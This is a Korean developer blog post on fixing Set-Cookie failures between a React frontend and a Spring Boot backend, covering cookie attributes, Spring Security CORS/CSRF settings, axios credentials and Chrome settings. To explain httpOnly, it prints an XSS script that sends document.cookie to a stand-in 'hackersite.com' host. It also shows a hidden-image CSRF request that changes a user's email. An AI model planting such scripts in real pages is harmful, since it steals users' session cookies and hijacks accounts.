Hanbit the Developer

[Spring Boot] Set-Cookie가 작동하지 않을 때 체크 포인트 본문

Back-end

[Spring Boot] Set-Cookie가 작동하지 않을 때 체크 포인트

hanbikan 2024. 7. 27. 21:29

개발 환경

Front-end: https://localhost:3000(React.JS)

Back-end: https://localhost:8080(Spring Boot 3.3.1)

 

배경

응답을 받은 브라우저가 쿠키를 설정하게끔 response header에 Set-Cookie를 설정하였는데, Set-Cookie 헤더가 포함되지 않은 채로 응답이 전송되거나, Set-Cookie가 제대로 전달되었음에도 브라우저에 쿠키가 설정되지 않는 문제가 있었습니다.

 

 

Spring Cookie 객체 초기화

컨트롤러 코드입니다.

@PostMapping("/set-cookie")
public ResponseEntity<ApiResponse<String>> setCookie() {
    ResponseCookie cookie = ResponseCookie
        .from("myCookie", "myCookieValue")
        //.sameSite("None") // 다른 사이트로부터 요청 받아도 쿠키를 전송함
        .secure(true) // https만 허용
        .httpOnly(true) // 스크립트 허용 X
        .path("/")
        .maxAge(1000 * 60 * 30) // 30 minutes
        .build();

    return ResponseEntity.ok()
        .header(HttpHeaders.SET_COOKIE, cookie.toString())
        .body(ApiResponse.success("ok"));
}

.sameSite("None")

1. Strict: 쿠키는 동일한 사이트의 요청에 대해서만 전송됩니다.

2. Lax: sameSite를 설정하지 않았을 때의 디폴트 값입니다. Strict와 비슷하지만 링크 클릭, URL 직접 입력, 리다이렉션 등 안전한 GET 요청은 쿠키 설정을 허용합니다.

3. None: 제3자 사이트로의 요청에서도 쿠키를 포함하도록 허용합니다. secure(true) 속성과 함께 사용되어야 합니다.

 

제 경우 프론트엔드와 서버의 도메인이 같고 포트만 다르기 때문에 디폴트 값인 Lax를 사용하였습니다.

 

.secure(true)

프론트엔드와 서버가 HTTPS를 통해 통신할 때만 해당 쿠키를 전송합니다. 이렇게 함으로써 쿠키가 HTTPS를 통해 암호화 되어 전송되는 것을 보장합니다.

 

.httpOnly(true)

스크립트를 통해 쿠키에 접근할 수 없습니다.

 

이는 주로 XSS 공격을 방지하기 위해서이며 XSS 시나리오는 다음과 같습니다.

1. 해커가 bank.com 게시판에 아래와 같은 악성 스크립트가 포함된 게시글을 작성합니다.

<script>
  var img = new Image();
  img.src = "https://hackersite.com/steal?cookie=" + document.cookie;
</script>

 

2. 사용자가 해커가 작성한 게시글(bank.com/posts/123)에 방문하면 hackersite.com에 GET 요청이 전송됩니다.

3. 해커는 hackersite.com에 전송된 cookie 파라미터를 읽고 쿠키 데이터를 탈취합니다.

httpOnly를 true로 설정하면 document.cookie로 해당 쿠키에 접근할 수 없습니다.

 

SecurityConfig

스프링 시큐리티 설정 코드입니다.

@Configuration
@EnableWebSecurity
@RequiredArgsConstructor
public class SecurityConfig {

    private static final String[] EXCLUDE_PATHS = {
            "/api/v1/login"
    };
    
    @Value("${FRONTEND_URL}") // 환경변수 및 application.properties 값을 가져옵니다.
    private String FRONTEND_URL;

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        // CSRF
        http.csrf((it) -> it.disable());

        // CORS
        http.cors(cors -> cors.configurationSource(request -> {
            CorsConfiguration configuration = new CorsConfiguration();
            configuration.setAllowedOrigins(Arrays.asList(FRONTEND_URL));
            configuration.setAllowedMethods(Arrays.asList("GET", "POST", "PATCH", "DELETE", "OPTIONS"));
            configuration.setAllowedHeaders(Arrays.asList("*"));
            configuration.setAllowCredentials(true);
            return configuration;
        }));

        http.authorizeHttpRequests((authorizeRequests) ->
                authorizeRequests
                        .requestMatchers(EXCLUDE_PATHS).permitAll()
                        .anyRequest().authenticated()
        );

        return http.build();
    }
}

 

http.csrf()

AbstractHttpConfigurer.disable() 메소드를 호출하여 csrf를 비활성화합니다.

 

단, 세션 기반 인증 방식을 선택하신 경우 CSRF 활성화권장합니다. CSRF의 이해를 위해 시나리오를 설명해 드리겠습니다.

1. 해커가 bank.com 게시판에 아래와 같은 악성 스크립트가 포함된 게시글을 작성합니다.

<img src="https://bank.com/change-email?newEmail=hacker@example.com" style="display:none">

2. 세션을 통해 로그인한 사용자가 해커가 작성한 게시글(bank.com/posts/124)에 방문하면, XSS로 인해 세션을 쥐고 있는 채로 https://bank.com/change-email?newEmail=hacker@example.com에 요청을 보내게 됩니다.

스프링 시큐리티의 CSRF를 허용할 경우, CSRF 토큰을 통해 정당한 요청인지 검증하므로 위 요청을 거부합니다.

 

http.cors()

CORS를 적용하되 프론트엔드 URL로부터의 요청을 허용합니다.

setAllowCredentials() 메소드를 통해 쿠키, HTTP 인증 헤더와 같은 credentials를 허용합니다.

 

프론트엔드: axios 설정

프론트엔드에서도 credentials를 허용해야 합니다. axious의 경우 아래 코드를 통해 허용할 수 있습니다.

axios.defaults.withCredentials = true;

 

 

크롬 브라우저 설정: Third-party cookies 허용

서명된 인증서 없이 HTTPS를 설정한 경우 쿠키가 작동하지 않습니다.

크롬을 쓰시는 경우 chrome://settings/privacy에서 third-party cookies를 허용해줍니다.

CA 인증서가 아닌 자체 서명된 인증서를 사용하는 경우에는 chrome://settings/security로 이동하여 ‘Manage certificates’(인증서 관리) 섹션에서 자체 서명된 인증서를 추가할 수 있습니다.

 

References

https://developers.google.com/search/blog/2020/01/get-ready-for-new-samesitenone-secure

https://nordvpn.com/ko/blog/csrf/

https://nordvpn.com/ko/blog/xss-attack/
https://nordvpn.com/ko/blog/what-is-sniffing-attack/

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

https://docs.spring.io/spring-security/reference/servlet/exploits/csrf.html